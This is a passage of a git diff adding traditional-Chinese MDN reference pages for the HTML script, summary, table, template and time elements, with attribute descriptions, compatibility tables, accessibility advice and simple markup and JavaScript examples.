+<p>{{Compat("html.elements.script", 2)}}</p>
+</div>
+
+<h2 id="相容性註解">相容性註解</h2>
+
+<p>In older browsers that don't support the <code>async</code> attribute, parser-inserted scripts block the parser; script-inserted scripts execute asynchronously in IE and WebKit, but synchronously in Opera and pre-4 Firefox. In Firefox 4, the <code>async</code> DOM property defaults to <code>true</code> for script-created scripts, so the default behaviour matches the behaviour of IE and WebKit.</p>
+
+<p>To request script-inserted external scripts be executed in the insertion order in browsers where the <code>document.createElement("script").async</code> evaluates to <code>true</code> (such as Firefox 4), set <code>.async=false</code> on the scripts you want to maintain order.</p>
+
+<div class="warning">
+<p>Never call <code>document.write()</code> from an async script. In Firefox 3.6, calling <code>document.write()</code> has an unpredictable effect. In Firefox 4, calling <code>document.write()</code> from an async script has no effect (other than printing a warning to the error console).</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("document.currentScript")}}</li>
+ <li><a href="https://pie.gd/test/script-link-events/">Ryan Grove's &lt;script&gt; and &lt;link&gt; node event compatibility chart</a></li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/zh-tw/web/html/element/summary/index.html b/files/zh-tw/web/html/element/summary/index.html
new file mode 100644
index 0000000000..3b3d6e2e93
--- /dev/null
+++ b/files/zh-tw/web/html/element/summary/index.html
@@ -0,0 +1,135 @@
+---
+title: <summary>
+slug: Web/HTML/Element/summary
+translation_of: Web/HTML/Element/summary
+---
+<div>{{HTMLRef}}</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>The HTML <em>summary </em>element (<code>&lt;summary&gt;</code>) is used as a summary, caption, or legend for the content of a {{HTMLElement("details")}} element.</p>
+
+<div class="note"><strong>Note:</strong> If the <code>&lt;summary&gt;</code> element is omitted, the heading "details" will be used.</div>
+
+<div class="note"><strong>Note:</strong> The default style for <code>&lt;summary&gt;</code> is <code>display:list-item</code> per <a href="https://html.spec.whatwg.org/multipage/rendering.html#the-details-and-summary-elements">HTML standard</a>.  If the style is being changed to <code>display:block</code>, the disclosure triangle will be dismissed, which is expected. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1283989">Bug 1283989</a> for more information.</div>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td><a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Phrasing content</a> or one element of <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Heading_content">Heading content</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>None, both the start tag and the end tag are mandatory.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parent element</th>
+   <td>The {{HTMLElement("details")}} element.</td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a class="external" href="https://html.spec.whatwg.org/multipage/forms.html#the-summary-element" rel="external nofollow">HTML5, section 4.11.2</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>This element only includes the <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes">global attributes</a>.</p>
+
+<h2 id="DOM_interface">DOM interface</h2>
+
+<p>This element implements the {{domxref("HTMLElement")}} interface.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<details style="color: blue; margin-left: 15px; margin-bottom: 10px;">
+<p style="color: red;">In summation, get details from the link on the next line</p>
+</details>
+
+<p>Please see the {{HTMLElement("details")}} page for examples on &lt;summary&gt;.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interactive-elements.html#the-summary-element', '&lt;summary&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'interactive-elements.html#the-summary-element', '&lt;summary&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>12</td>
+   <td>{{CompatGeckoDesktop("49.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>{{CompatGeckoMobile("49.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This feature is available since Firefox 47 behind the preference <code>dom.details_element.enabled</code>, defaulting to <code>false</code>, except on Nightly and Aurora versions ({{bug(1241750)}}). Support for it is enabled by default, i.e. the preference is defaulting to <code>true</code>, since Firefox 49.0 ({{bug("1226455")}}).</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement("details")}}</li>
+</ul>
diff --git a/files/zh-tw/web/html/element/table/index.html b/files/zh-tw/web/html/element/table/index.html
new file mode 100644
index 0000000000..69b97e4f4e
--- /dev/null
+++ b/files/zh-tw/web/html/element/table/index.html
@@ -0,0 +1,362 @@
+---
+title: <table>（表格元素）
+slug: Web/HTML/Element/table
+translation_of: Web/HTML/Element/table
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;table&gt;</code> 元件</strong>代表表格數據──換句話說，就是透過二維資料表來呈現資訊。</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/table.html","tabbed-standard")}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/zh-TW/docs/HTML/Content_categories">內容類型</a></th>
+   <td><a href="/zh-TW/docs/HTML/Content_categories#Flow_content">流內容</a></td>
+  </tr>
+  <tr>
+   <th scope="row">允許內容</th>
+   <td>
+    <div class="content-models">
+    <div id="table-mdls">按照以下順序：
+    <ol>
+     <li>一個可選的{{HTMLElement("caption")}}元素，</li>
+     <li>零個或更多的{{HTMLElement("colgroup")}}元素，</li>
+     <li>一個可選的{{HTMLElement("thead")}}元素，</li>
+     <li>一個在以下元素之前或之後的可選 {{HTMLElement("tfoot")}} 元素：
+      <ul>
+       <li>零個或更多的{{HTMLElement("tbody")}}元素，</li>
+       <li>或者，一個或更多的{{HTMLElement("tr")}}元素</li>
+      </ul>
+     </li>
+    </ol>
+    </div>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">標籤省略</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">允許父元素</th>
+   <td>Any element that accepts flow content</td>
+  </tr>
+  <tr>
+   <th scope="row">允許 ARIA 規則</th>
+   <td>Any</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 介面</th>
+   <td>{{domxref("HTMLTableElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="屬性">屬性</h2>
+
+<p>這個元件包含了 <a href="https://developer.mozilla.org/zh-TW/docs/HTML/Global_attributes">全域屬性（global attributes）</a>。</p>
+
+<h3 id="棄用屬性">棄用屬性</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{Deprecated_inline}}</dt>
+ <dd>這個枚舉屬性會指示表格中的文字要如何對齊。可用值如下：
+ <ul>
+  <li>left：意思是表格應該顯示在文件的左方。</li>
+  <li>center：意思是表格應該顯示在文件的中間。</li>
+  <li>right：意思是表格應該顯示在文件的右方。</li>
+ </ul>
+
+ <p>在 CSS 要得出類似效果，應該設定 {{cssxref("margin-left")}} 與 {{cssxref("margin-right")}}；如果要置中，則要把 {{cssxref("margin")}} 屬性設定為 <code>0 auto</code>。</p>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("bgcolor")}} {{Deprecated_inline}}</dt>
+ <dd>定義表格的背景與內容顏色。它使用<a href="/zh-TW/docs/Web/CSS/color_value#RGB_colors">六位十六進制 RGB code</a>，前缀需要加上 '<code>#</code>' 。也可以用<a href="/zh-TW/docs/Web/CSS/color_value#Color_keywords">預先定義的顏色字串</a>可用。在 CSS 要得出類似效果，應該使用 {{cssxref("background-color")}} 屬性。</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("border")}} {{Deprecated_inline}}</dt>
+ <dd>這個屬性以像素為單位，定義了圍繞於表格框架的大小。如果設為 0，代表 {{htmlattrxref("frame", "table")}} 屬性為空。在 CSS 要得出類似效果，應該使用 {{cssxref("border")}} 屬性。</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("cellpadding")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>這個屬性定義了元件與邊界線之間的空白，以及要不要顯示。如果輸入像素，像素長度的空白會套用到四個邊；如果輸入百分比，內容將居中、整體的垂直空間（上與下）會使用這個百分比表示。橫向空間（左與右）也適用這個規則。</p>
+
+ <p>在 CSS 要得出類似效果，應該對 <code>&lt;table&gt;</code> 屬性使用 {{cssxref("border-collapse")}}；並對 {{HTMLElement("td")}} 使用 {{cssxref("padding")}}。</p>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("cellspacing")}} {{Deprecated_inline}}</dt>
+ <dd>
+ <p>This attribute defines the size of the space between two cells in a percentage value or pixels. The attribute is applied both horizontally and vertically, to the space between the top of the table and the cells of the first row, the left of the table and the first column, the right of the table and the last column and the bottom of the table and the last row.</p>
+
+ <p>To achieve a similar effect, apply the {{cssxref("border-spacing")}} property to the <code>&lt;table&gt;</code> element. <code>border-spacing</code> does not have any effect if {{cssxref("border-collapse")}} is set to collapse.</p>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("frame")}} {{Deprecated_inline}}</dt>
+ <dd>這個枚舉屬性定義圍繞在表格邊框的哪一邊要顯示。在 CSS 要得出類似效果，應該使用 {{cssxref("border-style")}} 與 {{cssxref("border-width")}} 屬性。</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("rules")}} {{Deprecated_inline}}</dt>
+ <dd>這個枚舉屬性定義諸如線條之類的規則，要如何出現在表格。它擁有以下數值：
+ <ul>
+  <li><code>none</code>，代表沒有任何規則上的指示。這是預設值。</li>
+  <li><code>groups</code>，只標示行群組和列群組（行群組由 {{HTMLElement("thead")}}、{{HTMLElement("tbody")}}、和 {{HTMLElement("tfoot")}} 定義；列群組由 {{HTMLElement("col")}} 與 {{HTMLElement("colgroup")}} 定義）；</li>
+  <li><code>rows</code>，會創立一組標示行的規則；</li>
+  <li><code>columns</code>，會創立一組標示列的規則；</li>
+  <li><code>all</code>，會創立一組同時標示行與列的規則。</li>
+ </ul>
+
+ <p>在 CSS 要得出類似效果，應該針對 {{HTMLElement("thead")}}、{{HTMLElement("tbody")}}、{{HTMLElement("tfoot")}}、{{HTMLElement("col")}}、{{HTMLElement("colgroup")}} 元素使用 {{cssxref("border")}} 屬性。</p>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("summary")}} {{Deprecated_inline}}</dt>
+ <dd>這個屬性定義了總結表格的替代文字。請改用 {{htmlelement("caption")}} 元素。</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("width")}} {{Deprecated_inline}}</dt>
+ <dd>這個屬性定義了表格的寬度。請改用 CSS {{cssxref("width")}} 屬性。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="簡單的表格">簡單的表格</h3>
+
+<pre class="brush: html notranslate">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;John&lt;/td&gt;
+    &lt;td&gt;Doe&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Jane&lt;/td&gt;
+    &lt;td&gt;Doe&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<p>{{EmbedLiveSample('簡單的表格', '100%', '100', '', 'Web/HTML/Element/table')}}</p>
+
+<h3 id="更多範例">更多範例</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;Simple table with header&lt;/p&gt;
+&lt;table&gt;
+  &lt;tr&gt;
+    &lt;th&gt;First name&lt;/th&gt;
+    &lt;th&gt;Last name&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;John&lt;/td&gt;
+    &lt;td&gt;Doe&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Jane&lt;/td&gt;
+    &lt;td&gt;Doe&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;Table with thead, tfoot, and tbody&lt;/p&gt;
+&lt;table&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th&gt;Header content 1&lt;/th&gt;
+      &lt;th&gt;Header content 2&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tfoot&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Footer content 1&lt;/td&gt;
+      &lt;td&gt;Footer content 2&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tfoot&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;Body content 1&lt;/td&gt;
+      &lt;td&gt;Body content 2&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+
+&lt;p&gt;Table with colgroup&lt;/p&gt;
+&lt;table&gt;
+  &lt;colgroup span="4"&gt;&lt;/colgroup&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Countries&lt;/th&gt;
+    &lt;th&gt;Capitals&lt;/th&gt;
+    &lt;th&gt;Population&lt;/th&gt;
+    &lt;th&gt;Language&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;USA&lt;/td&gt;
+    &lt;td&gt;Washington D.C.&lt;/td&gt;
+    &lt;td&gt;309 million&lt;/td&gt;
+    &lt;td&gt;English&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Sweden&lt;/td&gt;
+    &lt;td&gt;Stockholm&lt;/td&gt;
+    &lt;td&gt;9 million&lt;/td&gt;
+    &lt;td&gt;Swedish&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;Table with colgroup and col&lt;/p&gt;
+&lt;table&gt;
+  &lt;colgroup&gt;
+    &lt;col style="background-color: #0f0"&gt;
+    &lt;col span="2"&gt;
+  &lt;/colgroup&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Lime&lt;/th&gt;
+    &lt;th&gt;Lemon&lt;/th&gt;
+    &lt;th&gt;Orange&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Green&lt;/td&gt;
+    &lt;td&gt;Yellow&lt;/td&gt;
+    &lt;td&gt;Orange&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;p&gt;Simple table with caption&lt;/p&gt;
+&lt;table&gt;
+  &lt;caption&gt;Awesome caption&lt;/caption&gt;
+  &lt;tr&gt;
+    &lt;td&gt;Awesome data&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">table
+{
+border-collapse: collapse;
+border-spacing: 0px;
+}
+table, th, td
+{
+padding: 5px;
+border: 1px solid black;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample('更多範例', '100%', '700', '', 'Web/HTML/Element/table')}}</p>
+
+<h2 id="無障礙議題">無障礙議題</h2>
+
+<h3 id="Caption">Caption</h3>
+
+<p>提供 {{HTMLElement("caption")}} 元素，以便清晰而簡潔地描述表格主旨。他能讓用戶決定自己是否該閱讀表格內容，還是要略過就好。</p>
+
+<p>如此也能幫助螢幕閱讀器之類的輔具使用者、視力條件差、還有認知障礙的人。</p>
+
+<ul>
+ <li><a href="/zh-TW/docs/Learn/HTML/Tables/Advanced#Adding_a_caption_to_your_table_with_&lt;caption>">MDN Adding a caption to your table with &lt;caption&gt;</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/tables/caption-summary/">Caption &amp; Summary • Tables • W3C WAI Web Accessibility Tutorials</a></li>
+</ul>
+
+<h3 id="Scope_行列">Scope 行列</h3>
+
+<p>雖然在 HTML5 裡面 {{htmlattrxref("scope", "td")}} 屬性已經過時，但很多螢幕閱讀器會利用這屬性，複製不使用屏幕閱讀器的人的視覺關聯，以便推斷可能的視覺位置。</p>
+
+<h4 id="示例">示例</h4>
+
+<pre class="brush: html notranslate">&lt;table&gt;
+  &lt;caption&gt;Color names and values&lt;/caption&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;th scope="col"&gt;Name&lt;/th&gt;
+      &lt;th scope="col"&gt;HEX&lt;/th&gt;
+      &lt;th scope="col"&gt;HSLa&lt;/th&gt;
+      &lt;th scope="col"&gt;RGBa&lt;/th&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;Teal&lt;/th&gt;
+      &lt;td&gt;&lt;code&gt;#51F6F6&lt;/code&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;code&gt;hsla(180, 90%, 64%, 1)&lt;/code&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;code&gt;rgba(81, 246, 246, 1)&lt;/code&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;Goldenrod&lt;/th&gt;
+      &lt;td&gt;&lt;code&gt;#F6BC57&lt;/code&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;code&gt;hsla(38, 90%, 65%, 1)&lt;/code&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;code&gt;rgba(246, 188, 87, 1)&lt;/code&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<p>在 {{HTMLElement("th")}} 元素提供 <code>scope="col"</code> 的宣告，有助於描述該單位屬於第一列。在 {{HTMLElement("td")}} 元素提供 <code>scope="row"</code> 則有助於描述該單位屬於第一行。</p>
+
+<ul>
+ <li><a href="/zh-TW/docs/Learn/HTML/Tables/Advanced#Tables_for_visually_impaired_users">MDN Tables for visually impaired users</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/tables/two-headers/">Tables with two headers • Tables • W3C WAI Web Accessibility Tutorials</a></li>
+ <li><a href="https://www.w3.org/WAI/tutorials/tables/irregular/">Tables with irregular headers • Tables • W3C WAI Web Accessibility Tutorials</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/H63.html">H63: Using the scope attribute to associate header cells and data cells in data tables | W3C Techniques for WCAG 2.0</a></li>
+</ul>
+
+<h3 id="複雜的表格">複雜的表格</h3>
+
+<p>針對單格複雜到無法歸類於直向或橫向的表格，諸如螢幕閱讀器之類的輔助技術，可能就無法解析。在這種情況下，通常就需要 {{htmlattrxref("colspan", "td")}} 與 {{htmlattrxref("rowspan", "td")}} 屬性。</p>
+
+<p>理想情況下，可以考慮使用其他方式來呈現表格的內容，例如把表格切分到不必依賴 <code>colspan</code> 和 <code>rowspan</code> 屬性。除了幫助使用輔助技術的人了解表格的內容之外，這樣也會使認知障礙者受益，因為他們可能難以理解表格佈局描述的關聯。</p>
+
+<p><code>如果表格無法切分，請結合 {{htmlattrxref("id")}} 與 {{htmlattrxref("headers", "td")}} 使用，以便程序化地關聯各表格單位與標題。</code></p>
+
+<ul>
+ <li><code><a href="/zh-TW/docs/Learn/HTML/Tables/Advanced#Tables_for_visually_impaired_users">MDN Tables for visually impaired users</a></code></li>
+ <li><code><a href="https://www.w3.org/WAI/tutorials/tables/multi-level/">Tables with multi-level headers • Tables • W3C WAI Web Accessibility Tutorials</a></code></li>
+ <li><code><a href="https://www.w3.org/TR/WCAG20-TECHS/H43.html">H43: Using id and headers attributes to associate data cells with header cells in data tables | Techniques for W3C WCAG 2.0</a></code></li>
+</ul>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','tables.html#the-table-element','table element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','tabular-data.html#the-table-element','table element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性"><code>瀏覽器相容性</code></h2>
+
+<p>{{Compat("html.elements.table")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>CSS properties that may be especially useful to style the <code>&lt;table&gt;</code> element:
+
+  <ul>
+   <li>{{cssxref("width")}} to control the width of the table;</li>
+   <li>{{cssxref("border")}}, {{cssxref("border-style")}}, {{cssxref("border-color")}}, {{cssxref("border-width")}}, {{cssxref("border-collapse")}}, {{cssxref("border-spacing")}} to control the aspect of cell borders, rules and frame;</li>
+   <li>{{cssxref("margin")}} and {{cssxref("padding")}} to style the individual cell content;</li>
+   <li>{{cssxref("text-align")}} and {{cssxref("vertical-align")}} to define the alignment of text and cell content.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/html/element/template/index.html b/files/zh-tw/web/html/element/template/index.html
new file mode 100644
index 0000000000..8433155dba
--- /dev/null
+++ b/files/zh-tw/web/html/element/template/index.html
@@ -0,0 +1,145 @@
+---
+title: <template>
+slug: Web/HTML/Element/template
+translation_of: Web/HTML/Element/template
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;template&gt;</code> 元素</strong>是用作保存用戶端內容的機制。該內容在頁面載入時不受渲染，但可以在運行時使用 JavaScript 實例化。</span></p>
+
+<p>你可以把 template 想成文件裡面，被儲存以待稍後使用的內容片段。在頁面載入時，解析器雖然會處理 <code>&lt;template&gt;</code> 元件的內容，但元素本身並不會被渲染。</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/zh-TW/docs/Web/HTML/Content_categories">內容類型</a></th>
+   <td><a href="/zh-TW/docs/Web/HTML/Content_categories#Metadata_content">元內容</a>、<a href="/zh-TW/docs/Web/HTML/Content_categories#Flow_content">流內容</a>、<a href="/zh-TW/docs/Web/Guide/HTML/Content_categories#Phrasing_content">phrasing content</a>、支援腳本的元素</td>
+  </tr>
+  <tr>
+   <th scope="row">允許內容</th>
+   <td>沒有限制</td>
+  </tr>
+  <tr>
+   <th scope="row">標籤省略</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">允許的父元素</th>
+   <td>{{HTMLElement("body")}}, {{HTMLElement("frameset")}}, {{HTMLElement("head")}}, {{HTMLElement("dl")}} and {{HTMLElement("colgroup")}} without a <code>span</code> attribute</td>
+  </tr>
+  <tr>
+   <th scope="row">允許的 ARIA roles</th>
+   <td>無</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 介面</th>
+   <td>{{domxref("HTMLTemplateElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="屬性">屬性</h2>
+
+<p>本元素只允許<a href="/zh-TW/docs/Web/HTML/Global_attributes">全域屬性</a>。</p>
+
+<h2 id="示例">示例</h2>
+
+<p>我們先從 HTML 部分開始。</p>
+
+<pre class="brush: html">&lt;table id="producttable"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;td&gt;UPC_Code&lt;/td&gt;
+      &lt;td&gt;Product_Name&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;!-- 在這裡可以選擇性地包括既有資料 --&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+
+&lt;template id="productrow"&gt;
+  &lt;tr&gt;
+    &lt;td class="record"&gt;&lt;/td&gt;
+    &lt;td&gt;&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/template&gt;
+</pre>
+
+<p>首先，我們有個稍後將透過 JavaScript 插入的表格。接著，我們把重點轉移到描述 HTML 內容模板結構的 template：它意味著一個表格的行。</p>
+
+<p>現在表格已經建立、也定義了模板，所以我們將以 template 為基礎，用 JavaScript 把每個產生出來的行加到表格內。</p>
+
+<pre class="brush:js;">// 透過檢查 HTML template 元素屬性的存在與否，以測試瀏覽器是否支援它
+if ('content' in document.createElement('template')) {
+
+  // 使用現有 HTML tbody、行以及模板，來實例化表格
+  var t = document.querySelector('#productrow'),
+  td = t.content.querySelectorAll("td");
+  td[0].textContent = "1235646565";
+  td[1].textContent = "Stuff";
+
+  // 複製新的行並將其插至表格
+  var tb = document.querySelector("tbody");
+  var clone = document.importNode(t.content, true);
+  tb.appendChild(clone);
+
+  // 複製新的行
+  td[0].textContent = "0384928528";
+  td[1].textContent = "Acme Kidney Beans";
+
+  // 複製新的行並將其插至表格
+  var clone2 = document.importNode(t.content, true);
+  tb.appendChild(clone2);
+
+} else {
+  // 因為 HTML template 不被支援，所以要用其他方法在表格增加新行
+}
+</pre>
+
+<p>結果會變成原生的 HTML 表格，它透過 JavaScript 產生了兩個新行：</p>
+
+<div class="hidden">
+<pre class="brush: css">table {
+  background: #000;
+}
+table td {
+  background: #fff;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Example", 500, 120)}}</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','scripting.html#the-template-element','template element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','/scripting-1.html#the-template-element','template element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>初始定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("html.elements.template")}}</p>
+
+<h2 id="參閱">參閱</h2>
+
+<ul>
+ <li>Web component：{{HTMLElement("slot")}}（還有過往的{{HTMLElement("shadow")}}）</li>
+</ul>
diff --git a/files/zh-tw/web/html/element/time/index.html b/files/zh-tw/web/html/element/time/index.html
new file mode 100644
index 0000000000..53fac916a8
--- /dev/null
+++ b/files/zh-tw/web/html/element/time/index.html
@@ -0,0 +1,162 @@
+---
+title: <time>
+slug: Web/HTML/Element/time
+translation_of: Web/HTML/Element/time
+---
+<p><strong>HTML <code>&lt;time&gt;</code> element</strong> 用以表示時間，可以是24小時制時間或以<a class="external" href="https://zh.wikipedia.org/zh-tw/%E5%85%AC%E5%8E%86" title="公曆">公曆</a>紀年的日期（日期可以添加時間和時區的資訊）</p>
+
+<p>此 element 旨在以機器可讀的格式顯示時間。這能幫助使用者代理調度使用者的日期。</p>
+
+<div class="note"><strong>使用注意: </strong>此 element 不適合用在「不確定正確時間」和「時間為西元前（日期的計算會出現錯誤）」的情況。</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/zh-TW/docs/Web/HTML/Content_categories" title="HTML/Content_categories">內容分類</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">phrasing content</a>, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">允許之內容</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">Phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">省略標籤</th>
+   <td>
+    <p>不可。</p>
+
+    <p>起始標籤和結束標籤是強制必要的</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">可接受的副 elements</th>
+   <td>任何接受 phrasing content 的  element。</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLTimeElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>和其他HTML elements一樣，接受所有 <a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">global attributes</a>。</p>
+
+<dl>
+ <dt>{{htmlattrdef("datetime")}}</dt>
+ <dd>此 attribute 用以表示日期或時間，其格式必須是<a class="external" href="http://www.w3.org/TR/html-markup/datatypes.html#common.data.datetime" title="">有效的日期/時間格式</a>。若其值不正確，則 element 就不會有關連的 time stamp.</dd>
+</dl>
+
+<h2 id="示例">示例</h2>
+
+<h3 id="Simple_example" name="Simple_example">Simple example</h3>
+
+<h4 id="HTML">HTML</h4>
+
